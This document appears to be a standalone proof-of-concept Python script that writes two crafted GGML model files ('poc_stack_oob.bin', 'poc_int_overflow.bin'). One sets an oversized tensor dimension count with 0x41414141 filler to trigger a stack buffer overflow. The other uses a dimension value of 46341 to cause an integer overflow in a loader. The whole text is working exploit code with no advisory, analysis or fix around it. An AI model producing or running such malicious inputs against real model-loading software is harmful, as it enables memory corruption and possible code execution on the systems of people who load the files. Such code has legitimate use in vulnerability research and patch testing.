| |
| import struct, os |
|
|
| def generate_stack_overflow(path="poc_stack_oob.bin"): |
| with open(path, "wb") as f: |
| f.write(struct.pack("<I", 0x67676d6c)) |
| for v in [5,1024,768,12,2,1]: f.write(struct.pack("<i", v)) |
| f.write(struct.pack("<i", 5)) |
| for i in range(5): |
| t = ("t%d" % i).encode() |
| f.write(struct.pack("<I", len(t))); f.write(t) |
| f.write(struct.pack("<i", 8)) |
| f.write(struct.pack("<i", 12)) |
| f.write(struct.pack("<i", 0)) |
| for i in range(8): f.write(struct.pack("<i", 0x41414141)) |
| f.write(b"model/ln_f/g") |
| print("Generated %s (%d bytes)" % (path, os.path.getsize(path))) |
|
|
| def generate_int_overflow(path="poc_int_overflow.bin"): |
| with open(path, "wb") as f: |
| f.write(struct.pack("<I", 0x67676d6c)) |
| for v in [100,64,46341,1,2,1]: f.write(struct.pack("<i", v)) |
| f.write(struct.pack("<i", 100)) |
| for i in range(100): |
| t = ("t%d" % i).encode() |
| f.write(struct.pack("<I", len(t))); f.write(t) |
| print("Generated %s (%d bytes)" % (path, os.path.getsize(path))) |
|
|
| if __name__ == "__main__": |
| generate_stack_overflow() |
| generate_int_overflow() |
|
|
